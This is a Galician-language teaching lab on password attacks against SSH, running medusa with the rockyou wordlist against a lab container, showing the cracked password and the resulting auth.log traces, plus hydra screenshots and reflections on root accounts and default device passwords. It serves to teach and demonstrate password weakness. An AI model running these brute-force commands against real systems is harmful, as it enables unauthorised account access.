Ataques de contrasinal contra servizo SSH
Escenario
Este escenario ten como principal obxectivo demostrar cun exemplo práctico como o sistema de autenticación por contrasinais, a pesar de ser o máis empregado polos usuarios, non é o máis seguro.
Escenario
Ó longo deste escenario traballaremos coa ferramenta medusa para lanzar un ataque de diccionario sobre o servizo ssh correndo nun equipo Linux Ubuntu.
Pódense probar outras alternativas a medusa: no equipo pirata están dispoñibles hydra e patator.
Comprobaremos que o uso deste tipo de ferramentas permite automatizar este tipo de ataques e servirá para demostrar que o sistema de autenticación por contrasinal non é o suficientemente seguro para usarse en contornos críticos.
Creación automatizada do escenario 4D
A máquina serverssh é un contedor LXD correndo Linux Ubuntu Server co servizo ssh instalado e correndo. Ademais este máquina está configurada de xeito que:
- Ven cunha serie de usuarios do sistema xa creados para que se poidan facer ataques contra máis dun usuario.
- SSH está configurado para aceptar autenticación por contrasinais.
- SSH está configurado para aceptar un número máis elevado de intentos simultáneas de autenticación para acelerar o proceso de ataque.
En primeiro lugar hai que descargar e descomprimir o arquivo script_esc_4D.zip:
$ unzip script_esc4D.zip
Archive: script_esc4D.zip creating: script_esc4D/ inflating: script_esc4D/config_pirata.yml inflating: script_esc4D/config_serverssh.yml inflating: script_esc4D/contras.txt inflating: script_esc4D/escenario_4D.sh inflating: script_esc4D/network_PLANTILLA.yml inflating: script_esc4D/profile_LAN
$ chmod 755 escenario_4D.sh $ ls -lhF
total 24K -rwxr-xr-x 1 asir asir 1,5K ene 31 12:36 config_pirata.yml* -rwxr-xr-x 1 asir asir 2,0K ene 31 12:36 config_serverssh.yml* -rwxr-xr-x 1 asir asir 372 abr 30 2024 contras.txt* -rwxr-xr-x 1 asir asir 2,4K ene 31 12:37 escenario_4D.sh* -rwxr-xr-x 1 asir asir 260 mar 27 2024 network_PLANTILLA.yml* -rwxr-xr-x 1 asir asir 190 mar 27 2024 profile_LAN*
$ ./escenario_4D.sh
----- Escenario SSH - fail2ban -----
Seleccionar operación:
1. Crear escenario
2. Parar contenedores escenario
3. Arrancar contenedores escenario
4. Borrar escenario
------
1
Crear escenario
Error: Network "lan" already exists
Error: Error inserting "LAN" into database: The profile already exists
------------------------------
creando servidor SSH
------------------------------
Launching serverssh
------------------------------
creando pirata
------------------------------
Launching pirata
+------------+---------+------------------------+-------------+-----------+----------------------+
| NAME | STATE | IPV4 | PROFILES | SNAPSHOTS | LAST USED AT |
+------------+---------+------------------------+-------------+-----------+----------------------+
| pirata | RUNNING | 192.168.100.100 (eth0) | LAN | 0 | 2026/01/31 13:15 CET |
+------------+---------+------------------------+-------------+-----------+----------------------+
| serverssh | RUNNING | 192.168.100.101 (eth0) | LAN | 0 | 2026/01/31 13:15 CET |
+------------+---------+------------------------+-------------+-----------+----------------------+
No meu caso o profile e a rede lan xa estaban creadas e por iso saen as mensaxes de erro. No caso de non estar, o script procedería á crealas.
No ficheiro contras.txt hai unha listaxe de hashes e contrasinais asociados ós usuarios asir01, asir02, asir03 e asir04 presentes na máquina serverssh.
Atacando contrasinais
No primeiro escenario viuse como o servidor ssh envía a súa clave pública para autenticarse fronte o cliente e despois o cliente autentícase usando un contrasinal. O sistema de autenticación por contrasinais seguramente é o máis empregado polos usuarios; sen embargo non é considerado como o máis seguro, descartándose o seu uso en sistemas críticos. Este sistema de autenticación ten problemas de seguridade derivados de contrasinais non seguras (curtas ou predecibles), malas prácticas dos usuarios (gardar contrasinais en papel, dar o contrasinal a outras persoas, reutilización de contrasinais, etc.) e ataques de contrasinal.
Os ataques de contrasinal soen dividirse en dous tipos:
- Ataque de dicionario
- o atacante ten un arquivo cunha lista de contrasinais e vai probando unha a unha ata que unha entrada da lista funciona ou ata rematar a lista. O dicionario normalmente está elaborado cunha serie de palabras determinadas polo idioma, dialecto, palabras de interese para o usuario, ... É un sistema relativamente rápido pero con poucas probabilidades de éxito en sistemas que usen contrasinais fortes.
- Ataque de forza bruta ou de rango
- consiste en probar todas as combinacións posibles ata encontrar a válida. O atacante define unha serie de patróns baseados en números, caracteres, letras minúsculas e/ou maíusculas, lonxitude máxima da contrasinal ... Trátase dun método lento e limitado á lonxitude establecida do contrasinal; por exemplo, se o atacante vai probar todas as combinacións de número e letras ata un máximo de 8 caracteres e o contrasinal ten 9, o ataque será unha perda de tempo.
Nas seguintes imaxes pode verse a diferenza entre as contrasinais a probar nun ataque de diccionario e nun ataque de forza bruta:
Forza bruta Diccionario PENDIENTE Fig. Configuración do modo promiscuo no adaptador de rede.
Medusa
Medusa é unha ferramenta para lanzar ataques de contrasinal contra servizos FTP, HTTP, SSH, SMB, VNC, POP3, IMAP, MySQL e Telnet entre outros. Permite especificar listas de usuarios e contrasinais así como configurar o número de comprobacións en paralelo a efectuar.
Instalación de medusa en Ubuntu Linux
Empregaremos pirata como equipo atacante e xa ten instalado medusa. No caso de traballar con outro sistema e querer instalalo:
$ sudo apt update $ sudo apt install medusa $ medusa -V Medusa v2.2 [1] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
Ataques de contrasinais con medusa
Para lanzar medusa executamos medusa directamente dende una terminal e coa opción -d podemos ver a lista de módulos dispoñible; é dicir, a lista de protocolos que pode atacar:
$ medusa -d
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
Available modules in "." :
Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" :
+ cvs.mod : Brute force module for CVS sessions : version 2.0
+ ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
+ http.mod : Brute force module for HTTP : version 2.1
+ imap.mod : Brute force module for IMAP sessions : version 2.0
+ mssql.mod : Brute force module for M$-SQL sessions : version 2.0
+ mysql.mod : Brute force module for MySQL sessions : version 2.0
+ nntp.mod : Brute force module for NNTP sessions : version 2.0
+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
+ pop3.mod : Brute force module for POP3 sessions : version 2.0
+ postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
+ rexec.mod : Brute force module for REXEC sessions : version 2.0
+ rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
+ rsh.mod : Brute force module for RSH sessions : version 2.0
+ smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1
+ smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1
+ smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
+ snmp.mod : Brute force module for SNMP Community Strings : version 2.1
+ ssh.mod : Brute force module for SSH v2 sessions : version 2.1
+ svn.mod : Brute force module for Subversion sessions : version 2.1
+ telnet.mod : Brute force module for telnet sessions : version 2.0
+ vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
+ vnc.mod : Brute force module for VNC sessions : version 2.1
+ web-form.mod : Brute force module for web forms : version 2.1
+ wrapper.mod : Generic Wrapper Module : version 2.0
A continuación vemos os parámetros de configuración, estando os máis salientables para a nosa práctica en negriña:
$ medusa
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ALERT: Host information must be supplied.
Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] : Target hostname or IP address
-H [FILE] : File containing target hostnames or IP addresses
-u [TEXT] : Username to test
-U [FILE] : File containing usernames to test
-p [TEXT] : Password to test
-P [FILE] : File containing passwords to test
-C [FILE] : File containing combo entries. See README for more information.
-O [FILE] : File to append log information to
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without the .mod extension)
-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.)
-d : Dump all known modules
-n [NUM] : Use for non-default TCP port number
-s : Enable SSL
-g [NUM] : Give up after trying to connect for NUM seconds (default 3)
-r [NUM] : Sleep NUM seconds between retry attempts (default 3)
-R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
-c [NUM] : Time to wait in usec to verify socket is available (default 500 usec).
-t [NUM] : Total number of logins to be tested concurrently
-T [NUM] : Total number of hosts to be tested concurrently
-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.
-f : Stop scanning host after first valid username/password found.
-F : Stop audit after first valid username/password found on any host.
-b : Suppress startup banner
-q : Display module's usage information
-v [NUM] : Verbose level [0 - 6 (more)]
-w [NUM] : Error debug level [0 - 10 (more)]
-V : Display version
-Z [TEXT] : Resume scan based on map of previous scan
Para o noso ataque escolleremos:
- -h 192.168.100.101 --> o equipo que imos atacar (serverssh).
- -u asir04 --> atacaremos a conta do usuario asir01.
- -P rockyou.txt --> dicionario rockyou.txt a usar no ataque (arquivo coas contrasinais a probar).
- -M ssh --> módulo de ssh (servizo a atacar).
- -f --> abandonar cando se acerte o contrasinal.
- -t 6 --> 6 probas de autenticación simultáneas.
Os dicionarios poden:
- ser creados a partir de información do obxectivo
- empregar dicionarios dispoñibles en Internet (por exemplo creados a partir de incidentes informáticos con fugas de información)
- unha mistura destas opcións.
A modo de exemplo empregarase o famoso rockyou. Éste e outros wordlists están dispoñibles en repositorios como SecLists.
Pasamos dende o equipo anfitrión o arquivo rockyou.txt .txt ó contedor medusa e lanzamos o ataque:
$ incus file push rockyou.txt pirata/home/ubuntu/ --mode 644 --uid 1001 --gid 1003 $ ls -lhF
total 85M -rw-r--r-- 1 ubuntu ubuntu 134M ene 31 13:26 rockyou.txt
$ medusa -h 192.168.100.101 -u asir04 -P rockyou.txt -M ssh -f -t 6
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: princess (1 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: 1234567 (2 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: 123456789 (3 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: 12345 (4 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: 123456 (5 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: iloveyou (6 of 14344390 complete) ... ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: pokemon (169 of 14344390 complete) ACCOUNT FOUND: [ssh] Host: 192.168.100.101 User: asir04 Password: pokemon [SUCCESS] ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 1 complete) Password: victoria (170 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 1 complete) Password: honey (171 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 1 complete) Password: 00000 (172 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 1 complete) Password: fernando (173 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 1 complete) Password: maggie (174 of 14344390 complete)
Atopamos o contrasinal de asir04 e procedemos a comprobalo accedendo por ssh á máquina vítima:
$ ssh asir04@192.168.100.101
The authenticity of host '192.168.100.101 (192.168.100.101)' can't be established. ED25519 key fingerprint is SHA256:a5eLEwJIrmRlknAqzHF9732pKNqQYrQbgkToKAi287g. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.100.101' (ED25519) to the list of known hosts. asir04@192.168.100.101's password:
E poderemos acceder!
Hydra
Tamén existen ferramentas como hydra e a súa versión gráfica hydra-gtk. É unha ferramenta moi rápida e poderosa, pero nalgunhas versións os ataques contra o protocolo ssh presentan erros e non funcionan correctamente. Inclúo unha serie de capturas de pantalla para que vexades como funciona por se queredes probala:
Lanzando hygra-gtk
Lanzando hygra-gtk
xHydra
xhydra - Configurando obxectivo
Fig. Escollendo equipo obxectivo e protocolo a atacar en Hydra
xhydra - Configurando usuario/diccionario
Fig. Escollendo nome de usuario e diccionario a usar no ataque
xhydra - Configurando nº de probas simultaneas
Fig. Opción de configuración para o ataque (nº de intentos en paralelo, timeout, ...).
xhydra - Atacando obxectivo
Fig. Evolución do ataque
O resultado do ataque debería ser algo como esto:
xHydra - contrasinal de root
Fig. Ataque ó contrasinal do usuario root rematado con éxito
Como pode verse na parte inferior da imaxe aparece o comando para executarse na liña de comandos no caso de non ter contorna gráfica.
patator
PENDENTE!
Evidencias e reflexións
Evidencias
Un ataque destas características deixa unha pegada bastante clara. Sen embargo, esta pegada tan clara pode pasar desapercibida no caso de que ninguén revise os logs do sistema. Se entramos na máquina atacada e revisamos o log /var/log/auth.log veremos que está cheo de liñas avisando de erros de autenticación:
$ grep -i ssh /var/log/auth.log | grep -i "failed password" ... Jan 31 12:27:33 serverssh sshd[1627]: Failed password for asir04 from 192.168.100.100 port 42650 ssh2 Jan 31 12:27:33 serverssh sshd[1622]: Failed password for asir04 from 192.168.100.100 port 42622 ssh2 Jan 31 12:27:33 serverssh sshd[1626]: Failed password for asir04 from 192.168.100.100 port 42638 ssh2 Jan 31 12:27:33 serverssh sshd[1624]: Failed password for asir04 from 192.168.100.100 port 42626 ssh2 Jan 31 12:27:33 serverssh sshd[1630]: Failed password for asir04 from 192.168.100.100 port 42666 ssh2 Jan 31 12:27:33 serverssh sshd[1626]: Failed password for asir04 from 192.168.100.100 port 42638 ssh2 Jan 31 12:27:33 serverssh sshd[1627]: Failed password for asir04 from 192.168.100.100 port 42650 ssh2 Jan 31 12:27:33 serverssh sshd[1630]: Failed password for asir04 from 192.168.100.100 port 42666 ssh2 Jan 31 12:27:33 serverssh sshd[1632]: Failed password for asir04 from 192.168.100.100 port 42682 ssh2 Jan 31 12:27:33 serverssh sshd[1627]: Failed password for asir04 from 192.168.100.100 port 42650 ssh2 Jan 31 12:27:33 serverssh sshd[1634]: Failed password for asir04 from 192.168.100.100 port 42686 ssh2 Jan 31 12:27:33 serverssh sshd[1630]: Failed password for asir04 from 192.168.100.100 port 42666 ssh2 Jan 31 12:27:33 serverssh sshd[1636]: Failed password for asir04 from 192.168.100.100 port 42690 ssh2 Jan 31 12:27:33 serverssh sshd[1632]: Failed password for asir04 from 192.168.100.100 port 42682 ssh2 Jan 31 12:27:33 serverssh sshd[1634]: Failed password for asir04 from 192.168.100.100 port 42686 ssh2 Jan 31 12:27:33 serverssh sshd[1637]: Failed password for asir04 from 192.168.100.100 port 42696 ssh2 Jan 31 12:27:33 serverssh sshd[1636]: Failed password for asir04 from 192.168.100.100 port 42690 ssh2 Jan 31 12:27:33 serverssh sshd[1632]: Failed password for asir04 from 192.168.100.100 port 42682 ssh2 Jan 31 12:27:33 serverssh sshd[1636]: Failed password for asir04 from 192.168.100.100 port 42690 ssh2 Jan 31 12:27:33 serverssh sshd[1634]: Failed password for asir04 from 192.168.100.100 port 42686 ssh2 Jan 31 12:27:33 serverssh sshd[1637]: Failed password for asir04 from 192.168.100.100 port 42696 ssh2 Jan 31 12:27:33 serverssh sshd[1640]: Failed password for asir04 from 192.168.100.100 port 42700 ssh2 Jan 31 12:27:33 serverssh sshd[1637]: Failed password for asir04 from 192.168.100.100 port 42696 ssh2 Jan 31 12:27:33 serverssh sshd[1642]: Failed password for asir04 from 192.168.100.100 port 42704 ssh2 Jan 31 12:27:33 serverssh sshd[1640]: Failed password for asir04 from 192.168.100.100 port 42700 ssh2 Jan 31 12:27:33 serverssh sshd[1642]: Failed password for asir04 from 192.168.100.100 port 42704 ssh2 Jan 31 12:27:33 serverssh sshd[1640]: Failed password for asir04 from 192.168.100.100 port 42700 ssh2 Jan 31 12:27:33 serverssh sshd[1646]: Failed password for asir04 from 192.168.100.100 port 42730 ssh2 Jan 31 12:27:33 serverssh sshd[1647]: Failed password for asir04 from 192.168.100.100 port 42732 ssh2 Jan 31 12:27:33 serverssh sshd[1650]: Failed password for asir04 from 192.168.100.100 port 42742 ssh2 ...
Reflexións erróneas
Chegados a este momento, un pode pensar que o escenario está ben, incluso que é espectacular; pero non deixa de ser iso, un espectáculo programado, onde todo está orquestado para funcionar como debe.
Algunhas consideracións a ter en conta no mundo real.
A miña organización usa firewalls...
Usa firewalls, con servidores separados en redes DMZ, regras verificadas dende o interior e o exterior da organización e limitando o acceso únicamente ós servizos que realmente se necesitan.
Esto pode levar a unha sensación de total seguridade e invulnerabilidade. Sensación errónea; xa que se nun firewall permito o acceso ó servizo ssh, pasarán todas as comunicacións dese tipo. Pasarán tanto os intentos lexítimos de autenticación como as probas dun ataque de diccionario. Ben é certo que é posible limitar o número de conexións simultáneas, o número de conexións abertas nun determinado período de tempo e os equipos dende onde se pode conectar. Sen embargo, estas medidas ralentizarían o ataque, non o impedirían, xa que os Network Level Firewall non analizan o contido dos paquetes a nivel de aplicación e ademais hai unha capa de cifrado que o impediría.
A miña organización non usa conta de root...
Efectivamente, distribucións como Ubuntu teñen a conta de root desactivada e os traballos de administración fanse con sudo. Que Ubuntu (e derivadas) sexa unha das distribucións Linux máis usadas non significa que todas as distribucións Unix/Linux desactiven a conta de root e tampouco significa que non rematemos traballando nun sistema onde un administrador anterior habilitou ó usuario root. Se nun servidor a conta de root foi activada e habiliado o acceso por ssh, é un obxectivo.
Os comandos que permiten activar/desactivar a conta de root en Ubuntu son os seguintes:
Para habilitar a conta de root:
$ sudo passwd root
Para deshabilitar a conta de root:
$ sudo passwd -dl root
Desactivar a conta de root e usar unha conta de superusuario de nome pouco habitual é un paso para protexernos, pero hay que pensar no seguinte:
- A seguridade dunha conta protexida por contrasinal non está no nome de usuario, está no contrasinal. Usar nomes 'raros' facilita en certa maneira a seguridade (seguridade por escuridade) mentras ese nome non sexa coñecido.
- Os ordenadores non son os únicos sistemas nunha organización e a gran maioría de dispositivos de internetworking (switches, routers, puntos de acesso wifi, ...), cámara IP, impresoras de rede, ..., soen ter unha única conta de administración coñecida (figura nos manuais dos aparellos). Neste tipo de aparellos non só é coñecido o nome de usuario, tamén é o contrasinal; e para máis complicacións, na maioría dos casos non se pode cambiar o nome de usuario nin desactivalo.
usuarios e passwords dos equipos LinksysFig. Usuario e contrasinais por defecto de equipos Linksys. Fonte: http://www.routerpasswords.com/
E por certo, no escenario centrámonos no servizo ssh pero medusa, hydra e semellantes permiten atacar AFP, Asterisk, CVS, Firebird, FTP, HTTP, HTTP-FORM, HTTP-PROXY, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, PC-NFS, POP3, PostgresSQL, RDP, RLOGIN, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS, SSH, Subversion, Teamspeak, Telnet, VMware-Auth, VNC, XMPP, etc.
Como anécdota, hai uns anos nunha reportaxe sobre o príncipe William:
Ou en Hawai.
